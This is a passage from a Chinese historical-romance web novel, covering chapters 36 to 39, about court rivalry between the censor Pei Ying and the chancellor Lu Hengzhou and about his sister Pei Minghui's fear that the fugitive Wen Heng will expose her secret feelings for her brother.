只可惜刘筑在朝中任职日久,或许是书读多了不懂得联系实际,认为现在皇帝既然立儒学为官学,当是信奉儒学的。 据此,他认为皇帝当是圣王圣君,不会对当代名儒下杀手的。 于是,他忽视了陆珩舟的建议,并一意孤行。 很快,裴瑛回来了。 他可谓之曰迅速地升任廷尉之职,并很快审理了卓冯二人的案子,以受贿罪定案,处弃市,春三月决刑。 同时,裴瑛同样处理了在朝中盘旋日久的温氏一族,以及一切与他有利益纠纷的人。 他们的结果多以死刑作结,很多人在裴瑛到来之前往往都先行自杀,以免牵扯出更多的人,招致更多更重的罪行。 裴瑛既然已经有了证据,可他偏偏却按兵不动,压下了手中关于黄河三百四十四万金被挪用的确凿证据。 听他话里的意思,这便是已经确定了自己是主谋,而且有着非常的把握可以扳倒他。 陆珩舟第一次后悔了,后悔为了自己的食邑不受黄河水涝而挪用那些钱货,招致今日进退两难的局面。 可他如今陷入兵临南北的危局了,左支右绌进退不得。 陆珩舟生平第一次如此惊慌,他嘶声问道:“你是在威胁我?” 正堂之中摆放着十二连枝错金银铜灯的光亮如火树银花般绚烂,照在金银漆器之上,增朦胧梦幻之色。 而落在他的身上,却更增不真实之感。 他似笑非笑地垂下眼,极为恭敬间又是极度的淡漠:“丞相久经沧海,此等拙劣计俩,不敢称之为威胁。” 陆珩舟顿时疑惑,突然之间后院发出激烈之声,金石相撞人声喧哗之声此起彼伏,他猛然站起,醒悟过来。 原来裴瑛是在调虎离山! “好你个裴玄则,你岂敢强闯丞相府后宅!”陆珩舟怒不可遏,“你不怕本相向陛下参奏你吗!” 裴瑛慢慢地抬起眼帘来,华丽的灯影落紧眼底,浮漾起一片金色的光波来:“丞相息怒,在下不过行丞相方才所行之事罢了,丞相的忘性怎么如此之大呢。” “一个温珩罢了,丞相又何必放在心上呢。死了也就死了,不是吗?” “裴玄则,你你你……你竟敢如此对本相说话,反了天了反了天了!” 陆珩舟气短非常,怒极拍案,后将长案上一应漆具悉数扫落在地,一抬头却又见裴瑛正好整以暇地看着他。 可事实就是,他拿裴瑛没有办法。 陛下的信任与倚重,高超的计谋与心智,都是裴瑛的利器。 可就在此时,一黑袍之人披着一身霜寒匆匆走了过来,到了裴瑛身边站定,一拱手道:“大人,温珩跑了。” “……” 裴瑛的笑意凝固在嘴角,他慢慢地偏过头去,好看的长眉深深蹙起,眼中也闪着迷茫不解之色。 陆珩舟闻言,怒气全消,抚掌而笑:“此事罢了罢了,人已经不在本相府中,御史大夫也就不必在本相府中徘徊了,来人,送客送客!” * 一轮火红的太阳慢慢地从东方的群山之中升起,攀过群山跃上山头,而后慢慢地爬升到中天之上,光线落在满院晶莹洁白的雪花之上,折出冰冷的光来。 自出月门的长廊拐角处,站着一粉衣的小姐与蓝衣的姑娘,粉衣姑娘正是裴明绘,她正在此处翘首以盼,宽大的开着半袖桃花的广袖之中双手紧紧攥在一处,面上焦急等待之色随着白日光线的移动而更加浓重。 旁边那蓝衣的姑娘自然就是聂妩,她面上颜色也不大好看,显然也很为此事焦灼。 “小姐,先回屋中歇会罢。家主若在此处看见小姐,怕是脸色也不会好。” 聂妩斟酌着劝道。 裴明绘心里自然清楚得很,她紧紧抿着唇,压制着心中的不安:“我知道,可我更怕哥哥真的不理我了。如此,我还是情愿他骂我。” 梦里的那片刻疏离,叫她胆战心惊,以致每每想起,便有揪心之痛。 就在二人说话之间,就听隐隐的说话之声。 裴明绘急忙往声音的源头看去,而聂妩身体一凛,连忙就跑走了,很快就消失不见了。 第二进的府门处仆从退开,裴瑛被一众御史大夫属吏簇拥着往书房走去,时不时偏头说一下话,目光在移动之间便擦过了扶柱翘首等待着的裴明绘。 他的目光极为微妙在她面上停留一瞬,便又回正,不再看她。 裴明绘的手慢慢地蜷缩起来,圆润的指尖扣住廊柱的朱漆,唇紧紧地抿成了一条线,她垂下燕眼来,长长的睫羽在眼底投下一片阴影来。 她慢慢地扶着阑干走下石阶,身段似乎也不复往日轻盈,裙摆被北风吹起波浪,她复又抬起眼眸来,裴瑛的身影已经不见了。 等到西日临窗之际,夕阳漫山遍野地照了过来,茫茫白雪竟也有着锦缎般的绚烂。 等待所有紧急的公文都已经批示完毕,裴瑛才得空闲抬起头来,当夕阳的光透过半开的窗落进眸中的时候,他这才发觉已经濒临日暮了。 “进来。” 裴瑛将手中毫笔搁在笔山之上。 门咯吱一声之后,裴明绘方才小心翼翼地走了进来,她两手提着裙子,低着头,没有发出一声声响,她走到公案之前,恭敬地跪倒在地。 “你跪什么。” 裴瑛淡漠的声音从前方传来。 “子吟有错,当跪。” 裴明绘抬起头来,看着裴瑛依旧低着头看手中的公文。 “你有何错。” 裴瑛依旧不抬头。 “你如此聪慧,行事不留痕迹,倒叫我佩服。” 裴瑛话里的讥讽之意不言而喻,裴明绘又低下了头。 心里对温珩的埋怨更甚,她本做着她的逍遥梦,谁又知道夜半三更温珩前来造访,以致于叫裴瑛撞进,自己反落得私会情郎之名。 自己虽然冤枉,可到底也不冤枉。 若非自己一时鬼迷心窍招惹了这么个瘟神,哪里又会到今日的境地呢。 所以,裴明绘强行吃了这个哑巴亏,咽了这黄连苦,向裴瑛认错。 “只此一次,哥哥切莫生气。以后,哥哥说什么,妹妹唯命是从。” 裴明绘说得诚恳,字字都透着真心。 “我哪里有生气,我哪里又能生你的气。” 裴瑛终于掀起了眼皮,面上依旧是一副风轻云淡的模样。 但只有他自己知道,他几乎快气死了。 裴明绘无法教训,温珩又逃脱,几乎同样的情况再次发生,让裴瑛无法心平静气。 裴明绘见他说话依旧阴阳怪气,便知他气得不轻,便膝行几步,行至公案之前,扬起下巴仰视着裴瑛,一双水灵灵的眼睛倒映着裴瑛被金光勾勒的轮廓。 “此乃妹之真心,知犯此大不敬之大罪罪不可赦,,幸得哥哥力挽狂澜,才未铸成不可更改之大错。只妹惹得哥哥担忧,分外内疚,故请哥哥责罚,以正家风。” 裴瑛闻言,压下嘴角那露出痕迹的些微笑意,他放下了手中的公文,推至一侧,话语间露出几分探究之意:“你真的知错?” 第37章 天气大寒,惟兄自珍重 “小姐加油, 很快就抄完了。” 聂妩贴心地为裴明绘研墨,将抄写刻录完毕的书简卷起来,再用麻绳捆绑好, 搁在已经堆积成一座小山的书堆之上。 裴明绘跪坐在蒲团之上,跪得腿脚都发酸, 但是她也只是用拳头捶了捶,便又提笔蘸墨,将已经烂熟于心的家法往书简上誊抄。 一笔一画,分外认真,毫无敷衍之意,可见其心之诚。 “这才第五十五遍, 今已抄了一天一夜, 剩下的怕不是还是要一天一夜。” 裴明绘上下眼皮一直打架,几乎下一秒就睡了过去。 “如今除去哥哥先要的这一百遍,以后每日还是送上一遍以供哥哥查阅。如此这般,方才能教哥哥体察我的改悔之心。” “都是我的错, 千不该万不该引那狼崽子进来, 惹了这天大的麻烦。”聂妩痛心疾首地说道。 “你也别自责, 说到底也是我自己的错,怨不得别人。” 裴明绘垂下眼帘,紧紧抿起了唇。 如今温珩未死,便是巨大的威胁。 先时她被心中无处宣泄的情感冲昏了头脑, 未曾探查出那温柔之中包藏的祸心。 后来,温珩下落不明,自己也就没将他的事再放在心上。 可是如今, 温珩回来了,且入夜之后前来寻她, 后又招致麻烦,险些叫他们兄妹二人离心。 他到底意欲何为,到底想做什么。 她可不会自信地以为,温珩对她有所依恋,或者有些格外不同的情感。 毕竟过去日子,双方都别有用心不坏好意,一个意欲毁其基业,一恶可不会产生什么不一样的情感来。 裴明绘陡然抬起眼帘来,漆黑的墨子映着长案处的幽幽的铜灯火苗。 温珩一日不除,她便永世不宁。 心潮起伏心绪难平,握着毫笔的手不由一顿,浸墨的笔尖重重滑过,原本娟秀的字体顿时多了一道宽大的墨痕。 一旁侍奉笔墨的聂妩连忙将书简拿过来,用刻刀小心翼翼地将多余的磨合削下来。 裴明绘先行按住聂妩的手,低声吩咐一句,聂妩便起身离开了。 裴明绘又继续抄录着裴家家法,待得最后的第一百遍抄录完之后,又取出羊皮纸来,将词汇在心中酝酿一番后,方才小心翼翼谨慎起笔。 长兄台鉴: 妹日夜痛思既往所行,方知所为之愚蠢之浅薄,见兄之愤怒,心甚悲己之不敬。又念与兄相伴有念,竟为外人污兄妹之情,心愧甚之。 痛定思痛,今自改之,如若再犯,天地不容。 还请兄见之督之。 天气大寒,惟兄自珍重。 妹裴明绘书上 * 次日散朝之后,众臣都忧心忡忡,尤其以大农令少府寺二署之经济大臣为甚,其次便是奉命算命告缗之执行大臣。 朝臣三三两两走在一处,讨论着今日未央宫前殿朝会的事。 “陛下大发雷霆,我等臣工难逃罪责。”周文眉毛几乎都要拧在一处,“只是如今诏令以下,各处敷衍我等也是无法,总不能带人去抄家罢。” 大农令丞也是一位精明能干之人,听得上司叹息,遂又提出建议来:“今算缗令已下,各方公文批示也已下发,余下的事,便是如何执行的事了。执行之事,我等便当为御史大夫之辅助,襄助御史大夫稽查商人财货就是。” “这不是推脱责任么。” 周文对皇帝的斥责还是心有余悸,也十分明白以皇帝的雷厉风行,最不喜的便是互相推诿责任,更重要的事,怕是一不小心就得罪了裴瑛。 后一点才是真的要命的。 “只盼着今年能有个好收成罢。”周文只能期盼着老天爷能够让来年风调雨顺,借此来缓解日益紧张的财政。可是他也明白,远水难解近渴,一天拿不出解决的方案来,皇帝的怒火便一日不会平息。 只怕倒时候皇帝一怒之下,丢官便是最轻的处罚了。 裴瑛大步走在最前方,冷风吹起他的绯红色的衣袖,身后跟着一众官吏,以廷尉沈蓦为首,分别是御史陆吴,廷尉丞王何实,左内史苏止诸人,皆是依附裴瑛之人,而且大都有酷吏的名声在外。 “如今各处反响不好,纵有主动者,却也多为敷衍之意。”沈蓦跟在裴瑛身后,备细讲述着,“如今也是危机重重,可陛下屡屡催促,我等夹在中间,属实难做。” “若非官商勾结隐匿钱财,又怎会如此困难。” 陆吴义愤填膺,一语中的。 “尤其是以长安大商为重,前几日有消息说,以长安丝绢大商郭升牵头,在梅院邀众大商一聚,此间详情我等虽然不知,想必与抗衡朝廷算缗之策大有关系。” 王何实说道。 “是啊,这个郭升与丞相关系匪浅,前几年将女儿送给丞相为妾,一时风头大盛,这几年才稍稍收敛了些。此间难办之处,就在丞相。若是丞相不包庇郭升,一切就好办了。” 苏止补充道。 裴瑛将所有的话都听进去,却并不着急发表意见与看法,仔细思忖之后,觉得还是开一个以御史廷尉二府的小型会议,商榷如何将算缗的政策彻底推行到民间。 “召御史廷尉二府署官于千秋堂。” 一行人直奔未央宫御史府,紧急召开关于算缗的会议,以御史大夫裴瑛为首,御史廷尉二府干员尽数与会,直到日落时分方才散会。 出得御史府之时,天已黑尽,天上一轮冷月高悬,照亮层云。人间官邸依旧灯火煌煌,属官出入匆匆,各种公文传进又传出。 簌簌冷风拂动衣襟,寒意流窜砭骨非常。 因为离着宫门下钥还有一段时间,裴瑛便不着急离宫,他就站在御史府的大门之前,下意识地便从怀中抽出一封卷着的羊皮纸来,略带着薄茧的指尖缓缓滑过,却并未将其展开。 他闭了闭眼,凝神思忖片刻,又睁开眼睛,正欲打开之际,便听得背后踏踏脚步声。 灯光人影先那人而来。 裴瑛先是偏过头,漆黑的眼珠微微转动,看清来者何人,便将手中羊皮纸收入怀中,方才转过身去,勾起礼貌性的微笑的同时向来人一拱手:“这般晚了,丞相怎的还不回府。” 来者正是陆珩舟,披着宽大的黑色大氅,行走间露出绯红色的官袍,他正不紧不慢走了过来,一双丹凤眸细长晶亮,显然很是高兴。 他看见了裴瑛,见他有些落寞的样子,想必是为着今日陛下发怒一时而黯然伤神呢。 他本想嘲讽一笑,却又压了下来,换上了惊讶之色,颇为关切地问候道,“陛下方召我等议论算缗之事,便也就晚了些时候,不曾想裴大人此时也在宫中,想必也是为着算缗之事烦恼罢。” 裴瑛的笑容渐渐消失,朱色高墙之上悬着的盏盏风灯的光落下,勾勒出他清俊儒雅的身形,落在眼底,便是深不可测的幽潭之上的斑驳光影。 “国事繁忙,如今想要休息也寻不到时间。不知今夜陛下召见,丞相可有了对策?” “如今陛下正在忧虑之时,然御史大夫不能为陛下解忧,只好寻到我这老臣了。”陆珩舟笑了起来,颇有些得意,“只是,我也想奉劝御史大夫一句,治国嘛,不能总想着杀人。杀人杀多了,人心也就失了。今陛下以儒治国,讲得便是王道,要以德昭海内,这长安毕竟是京畿,总不该大兴牢狱,大行杀伐,要多以德服人,你说对罢。” 裴瑛似笑非笑:“丞相微言大义,在下实在服膺。” “我已经禀明陛下,此事,御史府也不必再管了。”陆珩舟微微一笑,“此事陛下已全权委托与本相。” 他那副得意的样子,话里话外都在嘲笑裴瑛。 裴瑛淡淡地“哦”了一声。 陆珩舟对裴瑛的反映显然很是不满意,遂说道:“虽然这么说,但是御史大夫到底非同常人,不妨与本相共事,一同为陛下分忧。想必此事过后,陛下对御史大夫的倚重,将不会丝毫的削减。” “丞相善解人意,在下甚感念之。”裴瑛有些心不在焉,“既然陛下发了话,在下也就不多掺和,以免阻碍臣相的大作为。” 陆珩舟有些着急了,毕竟前几日夜里裴瑛的话犹在耳侧,让他十分不安:“如今陛下大发雷霆,难道御史大夫就没有忧虑吗?不若你我二人同舟共济共克时艰,如何?” 裴瑛依旧似乎神游天外,颇有些敷衍地答道:“在下能力有限,心力有限,实在不能协助丞相了。” 陆珩舟闻言,不免咬牙切齿威胁到:“裴瑛,你不要不识好歹,本相且问你,你到底意欲何为,难道真的想扳倒本相吗!本相今日不妨挑明了告诉你,你若有取而代之之意,本相定叫你万劫不复。” “丞相的意思,在下明白。”裴瑛不仅不害怕,反而笑了起来。 “既然明白,那些物证何在。” 陆珩舟终于引出了自己的目的。 “丞相在建元二年曾出任廷尉一职,怎的不知物证若在御史府,便绝无积压不呈之理。” “……” 陆珩舟怔住,过了好久,西北而来的阴冷寒风吹得更盛,似乎在肌肤上凝起了冰晶。 “所以说,你欺骗本相?” “丞相言重了,不过审讯常用的手段罢了。”裴瑛无所谓地笑了笑,“丞相以前不是常用之,说起来,在下也是以丞相为师呢。” 裴瑛似乎也有些不耐烦了,整饬了衣袍,向着陆珩舟略有些敷衍地一拱手,“在下还有事,先走一步。” “你站住。” 陆珩舟赶忙呵住裴瑛。 “你且说明白,你到底什么意思。” 裴瑛偏过头去,似乎被陆珩舟纠缠得烦了,昏黄的灯火也无法柔和他他异常冷峻的表情,薄唇轻蔑地勾起:“既然此事丞相一体承担,那就与在下无关。只是在下与丞相同在三公之列,行事需思量,莫为他人作了嫁衣裳。” “什么!” 陆珩舟的眉毛拧在了起来,顿时深感不安,虽然裴瑛总是一副风轻云淡的模样,可今日这幅神秘兮兮地话却叫他不安起来。 “莫信不可信之人,莫为不可为之事。” 裴瑛淡漠地回道。 “丞相若一意孤行,怕是大祸临头。” 陆珩舟恍然醒悟,哈哈大笑起来,“你小子故布疑兵计,八成是看本相压过了你,故意说这番云翻雾绕之话来混淆视听,本相可不听你这番话。” 裴瑛面无表情:“那可真是太可惜了,丞相好自珍重就是。” “可惜什么。”陆珩舟追问道。 裴瑛不再回他,只逆着冷风朝着宫门走去,簌簌冷风迎面吹来,乌黑的发丝在冷风中飞扬,宽大的广袖如白鹤展翅而翔,恍然间有飘飘然凌风欲飞之态。 一叹可惜原本抄家的罪责不能在你活着的时候便降罪于你了。 二叹你方下狱另一大敌却将隆重登台。 世间大势,行将就此转向另一场局面,长安的各方势力将迎来全新洗牌,新的角斗场已经安置,就待选手隆重登场。 第38章 如此违背伦常之事,不知裴大人有何想法 帝都长安本就是风起云涌之地, 御史大夫一朝被皇帝斥责办事不利,而丞相又被皇帝倚重,长安之中便有人闻风而动。 一时之间丞相府门前车马如流, 来往皆锦衣绣服高车大马,而与之隔了两条街的御史大夫府邸却门可罗雀。 随之最后一声鸡鸣消散在冬日寒冷的空气中, 太阳也就从东方连绵的群山之上升了起来,照亮了辉煌的长安城,斑驳明媚的光斑跃动在殿阙屋脊的祥禽瑞兽只上,清澈冷冽的光线一寸一寸逼退阴影,越过高高矗立着的城门箭楼,照亮阡陌纵横的郊田旷野。 凛冽冬日寒风依旧肆悠着, 吹得城楼之上大汉的旗帜飒飒舒卷。 官吏们或乘车或走马行过长街, 匆匆赶往官署,市人百工业开始忙碌起来,奔向四方而去,而长街上卖热茶的店铺门前业已支起棚子, 忙碌的肩上搭着白布巾的小二忙碌地为客人们斟茶, 茶水冒出热腾腾地热气, 而后逸散在冰冷的空气里。 “听说前几日的夜里裴大人与丞相闹了很大的不愉快,一个去一个府上拿了人,一个又去另一个府上去要人,嘿, 这一来一回,可真有意思。” 那人端起茶杯嘬了一口滚烫的茶水,缓解了腊月寒冬的带来的寒冷。 “到底什么人啊, 竟然要丞相和御史大夫如此大动干戈?”旁边一人搓了搓手,又哈了哈气, 才稍稍温暖了行将冻僵的手,“” 二人正在谈论之际,就听一阵金鸣之声,来往路人纷纷往两侧避让开来,衣着华贵金光闪闪的羽林卫策马而来,马蹄踏踏行过青石铺就得长街,威风凛凛地驶过大街,一路高声呼喝:“羽林卫巡察,闲人避让。” “如今丞相起来了,御史大夫就下去了,果真是潮起潮落没个定数啊。” 一个本色布袍的士子拈着胡须若有所思道。 “我看未必。” 又一红衣士子撂下茶盏,一本正经地说道,“这朝堂之中谁没受过陛下的斥责,前些年丞相的风头不就是被御史大夫压得死死的吗,提一个被压一个,不仅不得施行,反而逆行其道。这几日便是因着算缗之策总是推行不下去,这才又提了丞相上来。我看啊,算缗之策连御史大夫这般的狠人都搞不定,这个丞相就更不行了。” “未必,这几日带头闹事的不就是丞相的人么,我看啊就是丞相要搞御史大夫,今日裴府车马都没动,御史大夫怕是今日都未上朝去。” 他们你一言我一语地说得正激烈之时,裴明绘静静地把帘子放了下来,吩咐驭手继续往前走,马车便辚辚向南驶去。 就在放下帘子的一瞬间,在茶摊之中一抱剑倚柱的带着斗笠遮面的男人也动了起来,很快隐入忙碌的人群之中。 “此次都打点好了吗?” 裴明绘歪头看向坐在一旁的聂妩。 “都打点好了,礼物也都备齐了,今日丹阳长公主也在府中休息,未曾外出。也未听得有人拜访,今日小姐去,正相宜呢。”聂妩将拍了拍怀中抱着的七寸长八寸宽的小巧朱漆锦盒,盒子四角绘以花鸟虫鱼,中间则是精致华丽的鹿纹,镶嵌着一颗巨大的夜明珠,幽幽地发着光。 裴明绘点了点头,方才又收回了目光,虽然一切都已经准备好了,可是她的心头却还是隐隐不安着。 她倚靠在辎车内壁之上,忧愁地闭上了眼。 聂妩知道裴明绘的忧虑所在,虽说裴瑛惩处了裴明绘,却也有许多时日未曾理会裴明绘。今日裴瑛未曾上朝,裴明绘早早就守在门前,却又被侍卫请了回去。 “庄子曾说过,真者,精诚之至也,不精不诚,不能动人。” 聂妩看出裴明绘的忧虑,扶住裴明绘的肩膀出言,安慰道,“小姐勿要忧心,家主只是生一时之气罢了,等过些日子自然就消气了。” 裴明绘抿紧了唇,点了点头。 如今长安风头顿转,她虽不谙政道,却猜测这很可能与温珩脱不了干系。 长安率先推行告缗之策,长安大商以郭升为首开始反抗,先是隐匿财产,后又借丞相的威反抗诸位御史的稽查,两方甚至激发了冲突,一时之间,长安怨声载道,因着裴瑛是御史大夫之首,便首当其冲受到冲击。 裴明绘虽然不清楚内幕,却也觉得丞相定然在背后推波助澜。 虽然她不明白裴瑛为什么对此反击,但是她觉得自己有必要收拾一下近来嚣张的很的郭升。 关于温珩的事,她一想起来头便疼得要命。 “我虽未见他,却总有预感。”裴明绘轻轻握住聂妩的手,垂下眼帘来,“他就像鬼魂一样,我虽看不见,他却紧紧缠着我。” 她一闭上眼,那夜的场景便如噩梦一般再度涌入脑海。 既然温珩活着,且被裴瑛抓了现行。 那就说明,那夜并非噩梦。 那天晚上,温珩真的来了。 突然之间,一句冰冷的带着戏谑的话瞬间闪电般贯彻她的脑海。 “还是,这个乖妹妹有什么非分之想呢。” 她骤然抬起眼帘,浑身上下瞬间冷了下去,血液似乎也停止了流动。 他为什么说这句话? 他为什么会说这句话! 他为何与她哥哥长得一般模样,又为什么同她如此刻意亲近。 聂妩感到她手是那样的冰凉,急忙便将她的手包住,柔声劝道,“小姐若是担心,不妨同家主说罢。家主到底是小姐的哥哥,会明白小姐的苦心的。” “不……不行。” 裴明绘心跳如鼓,几乎无法安静下来,她无法控制地紧紧抓住聂妩的手,肩头颤抖着。 “温珩此人,太过歹毒。观我哥哥之变化,很难说,温珩没有对他说什么过分的话。但又见哥哥并未真正的疏离我,想必他还未说出真正要紧的话来。” 裴明绘简直不敢想,温珩若与哥哥碰面,到底会说出什么惊天动地的话来。 她的脑海中不可控制地浮现出一个惊人的场景。 裴瑛冷漠地与温珩对峙。 温珩一笑:“裴大人博古通今,竟然不知道,你妹妹喜欢的人,可是你呢。” “如此违背伦常之事,不知裴大人有何想法。” 一想到这样的场景,裴明绘又痛苦地闭上了眼睛。 不管如何,自己都得尽全力避免这种事的发生。 无论为了裴瑛,还是为了自己,自己都需对温珩出手。 不知哥哥为何未能将温珩拿下,但自己定然不能束手以待。 如果实在不能阻止二人的见面,自己也得想好狡辩之词,以来反驳温珩,以裴瑛对自己的偏爱,自然会相信自己,而否定温珩。 总之,无论到了何种境地,她都有话说才是。 左右心的真实想法,除了自己说出来,别人说出来,都无凭证。 都可以被辩驳成假话污蔑之词。 到时候,就算温珩口若莲花说得天花乱坠,她只说是污蔑,并且义愤填膺批判温珩挑拨兄妹感情,如此之言罔顾人伦罪大恶极,当即刻拿下问罪。 马车很快就到了丹阳长公主府之前,驭手轻勒缰绳,骏马嘶鸣站定,聂妩拂开帘子,裴明绘弯腰扶轼而下,一抬眼便是长公主府宏阔的府邸。 这是一座极尽奢华的府邸,无处不透露着皇家的威仪,丹阳长公主是皇帝的姐姐,而如今的谢皇后也是由她送进宫去的,丹阳长公主原有一个丈夫,只是这个丈夫从马上掉下去,不幸摔死了,世人都叫他丹阳君。 十二月里的风依旧带着砭骨的寒意,它们从一切的可能的缝隙里钻进去,而后掠夺温暖。 裴明绘在狐裘里搓了搓手,在府中侍女的引领下,穿过曲折的回廊,走进了长公主府的第三进,一进入第三进的院子,迎面便是华丽奢靡栩栩如生的丹璧影壁,上头镶嵌着一只巨大的朱雀浮雕,朱雀之眼则是一颗硕大的玛瑙,映入天光,射出红芒。 绕过影壁,便到一处六开间的屋子,也是处处雕梁画栋,柱子皆涂以红漆,上头再绘以各色纹样,长公主府的一砖一瓦,一草一木,无不显示着主人的无比尊贵。 裴明绘上了三阶白玉阶,便停在露台上稍事等候,里头的侍女次第通传,而后裴明绘二人进屋,往里头走,又是一番眼花缭乱,脚上踩得是如云的锦毡,上头绣着各色飞禽走兽,或跑或坐,或跃或停,形形色色各不相同,往前看,便是林林总总各式奇珍异宝,在十二连枝铜灯的照耀下,幽幽地发着晃眼的光,让人不可逼视。 侍女示意聂妩停在外间,便又领着裴明绘绕过蓝田玉的屏风到了里间。 里间虽不比外间华贵逼人,却也将所有华贵内敛起来,一些美丽的花草装饰其间,加上燎炉的暖意,融融好似春天。 一位美艳的贵妇人斜倚在软榻之上,虽然她业已四十余岁了,但却依旧美丽,皮肤依旧那样紧致,一袭纱袍披在身上,正好勾勒出她曼妙的身形,纤细犹如削葱根的手指执着一把绢面扇子,上头绣着一只白色的雀鸟,栩栩如生,失神之时看去,仿佛能够听到它的啁啾声。 贵妇人有一搭没一搭地扇着扇子,轻轻地撩起眼皮,把目光放在了裴明绘身上,红唇勾起一丝笑来,声音慵懒,“来了,你哥哥近来可好?” “回长公主,长兄近日休沐在家,闻妾前来拜谒长公主殿下,便托妾问长公主安呢。” 裴明绘捧着锦盒,笑着走到长公主近前。 听得裴明绘如此说,丹阳长公主的笑意不由更加灿烂了些,在侍女的搀扶之下,她懒懒地从榻上坐了起来,挥退替自己整饬衣物的侍女,笑道,“哦,裴大人可真是有心了。说罢,所来为何。” 眼见丹阳长公主来了几分兴致,裴明绘方才呈上锦盒,轻轻一按盒子上金色旋钮,盒盖一下就打开来,顿时珠光耀目,满堂生辉。 “请长公主过目。” 就算长公主见多识广,也不免为匣中宝所吸引,含笑手下礼物之后,便问道,“你有心了。” “说罢,什么事。” 长公主自然也明白无利不起早的道理,遂直接了当地问道。 “原也没什么大事,只是最近长安不安生,有些人就借此打上了明月坊的主意,妾实在心里不安,特来寻长公主的庇护。” 丹阳长公主闻言,偏过头去,噗嗤一声笑了出来:“这点子小事,你自去寻你哥哥去,哪里还有大费周章来找本公主。” “长公主有所不知。”裴明绘装出一副愁苦的模样,“虽说妾的哥哥位居高位,却也有许多掣肘的地方,况且,最近几日风向不对,哥哥的话,怕也是不顶用了。妾也是实在没了办法,便只能来长公主殿下了。” “毕竟只需长公主一句话,他们就会安分了。” “你倒是个好妹妹,知道心疼哥哥。” 丹阳长公主笑了起来,将绢面团扇按下,一双雍容的凤眸里满是探究之意。 “本公主听说,前几日你哥哥同丞相发生了争执,听说是为了抢一个人,你可知道是谁?” 面对丹阳长公主这番话,裴明绘咽了咽口水,遂谨慎地回答道,“这件事,妾也有听哥哥说起过,应该是温家的小公子。” “温家小公子……”丹阳长公主微微扬起下颌来,露出优雅的脖颈来,“原来是温珩啊,他竟还活着呢。” “能在裴瑛手底下活着,倒也有几分本事。” 裴明绘深谙长公主脾性,见她已然松了口,便乘胜追击:“虽说明月坊是妾自家,只是关涉到西域之行,妾得长公主引荐,才得此机遇让裴家丝绢出国门而入西域。长公主的恩德,妾时刻铭记在心而丝毫不敢有所遗忘。” “但如今有人心思不正,几次为难妾与裴家,甚至明月坊的产业也受到了损害。若是在这般下去,怕是西域之行要遭殃了。” “听哥哥虽未明说,但妾斗胆猜测,正是这个温珩,因着与妾的哥哥结了仇怨,便也连带着将怒气撒在了明月坊上。恐怕上次明月坊失火之火,泰半也是他的手段。” “天下谁人不知,明月坊冠着皇家之名,公主之恩。那温珩就算与妾的哥哥两相斗争,他也该看在长公主的面上,不与明月坊为难才是。” “可见,这温珩胆大包天,藐视天恩。妾斗胆,请长公主的旨意,将温珩拿下问罪,以正皇家威严!” 第39章 撒谎! 丹阳长公主闻言, 先是垂眸思考了片刻,而后噗嗤一声笑了出来,她幽幽偏过头来:“你的话, 很有意思。虽然这个温珩还未曾露过面,但京城里的这些风波, 也定是他上蹿下跳整出来的。” “既然如此,我便给你权利。” “可是,能做到哪一步,就看你的本事了。” * 等到裴明绘回到裴府的时候,府上已经上灯了,鳞次栉比的房屋上灯火点点, 像是秋季湖畔的星星萤火。 “你先回去罢。” 裴明绘松开了聂妩的手。 “天也黑了。” 聂妩知道裴明绘又要去找裴瑛, 便点头退下了。 裴明绘深吸了一口,将心中的情绪都收拾好了,便往裴瑛的院落走去。 行至半路,裴明绘忽然听见一声小姐, 遂止住脚步, 回头看去, 便见一道笔直如竹的身影。 来者乃是长安裴府的府令,名唤苏央,别看他年轻,做事却分外干练, 为人老于成事。苏央少年时便跟着裴瑛,与她的父亲明子玉也有很深的交际,他在裴瑛微末之时就跟在裴瑛身边, 很受裴瑛倚重,便让他坐了长安裴府的府令, 管辖裴府诸多事物。 裴明绘很是敬重苏央,这个陪伴自己哥哥走过最艰难时刻的人,她遂点头致意:“苏大哥。” 苏央见裴明绘依旧满面愁容,便心知她又为着裴瑛不理会她的事而伤心难过:“家主叫小姐去书房找他。” 裴明绘闻言顿时大喜,一时喜形于色,急忙问道:“那哥哥可还生气?” 苏央笑道,“家主怎么真的生小姐的气,小姐到时候只要说几句好话,什么问题解决不了。” 裴明绘激动地点了点头,遂匆匆往书房走去。 等过了月门,裴明绘便看见书房窗户中透出的点点光亮,原本快速奔跑的步子却慢慢地停了下来,改成一步一想,在心中思索该说什么,怎么说才能让哥哥消气。 她走过白石小径,自红梅扶疏间走上台阶,看着近在咫尺的大门,她却又犹豫了。 她的手轻轻自温暖的狐裘里探了出来,扶在一旁的红漆廊柱上,却为其上凝着冬日大寒之气所冻,悻悻地收回了手。 因着还未想好要怎么说,她便只能在此处徘徊着。 她负着手,垂着头,慢慢地走在露台之上,看着冰冷却明亮月光倾泻下来,拂亮自己裙裾之上金银丝线,而后照出自己的影子。 她的影子跟她一样,也徘徊着,犹豫着。 她不知道自己该如何说,又要怎么说。 裴瑛看起来是真的生气了,虽然很多人都说裴瑛不是真的生气。 可为什么呢,为什么都会说他不会真的生她的气呢。 是因为她是他的妹妹吗? 哥哥怎么会生妹妹的气呢? 裴明绘摇了摇头,抿紧了唇。 她不由神思悠荡起来,若是他生气,是为着她与温珩在一处呢。 若是这样,她倒有些高兴。 可这又怎么可能,他只是恨铁不成钢罢了,生气自己不听他的话,总与那些危险的人的缠在一起,再受了家法之后反而知错不改。 许许多多的可能,怕没有一点事她想要的。 她就这么在冷风中徘徊着,鬓发与狐裘柔软的白色绒毛都被风吹得飞扬起来。 她摇了摇头,将这些乱七八糟的心思都筛了出去,又接着苦恼起了接下来该如何说。 裴瑛到底是玲珑的心思,说的话,若是少一分真心便会为其察觉,到时候他定然会更加生气,自己这些日子的努力可就功亏一篑了。 该怎么说呢…… 外头冷风呼呼直吹,寒气凝结在她的浓密的睫羽之上,成了一层晶莹的霜。 她却仍在徘徊着,像是焦躁不安地等待着稽查一般。 可很快,她的影子就被一双皂靴踩住了。 “怎么不进来,是外面的风不冷吗。” 往日清润的声音也被风寒浸上了一分冰冷来,让裴明绘无端胆寒。 裴明绘慢慢地抬起头,看见了裴瑛那如同雪中青竹的身影,黑发并未簪起,而后披散下来,一双微微上挑的凤眸黑白分明,而黑色的瞳仁里倒映着裴明绘尚未褪去的忧虑。 “哥哥……” 裴明绘低低地唤了一声。 “进来。”裴瑛先一步转身,裴明绘只好乖乖地跟着裴瑛进屋,顺手将门关好,将屋外的寒风都挡在了外头。 裴瑛一掀袍袖,便又坐回了长案之后,随意地依靠在凭几之上,而后抬起了眼帘,看向裴明绘。 “今日到何处去了。” 裴瑛并未与她扯那些无用的话,直接开宗明义。 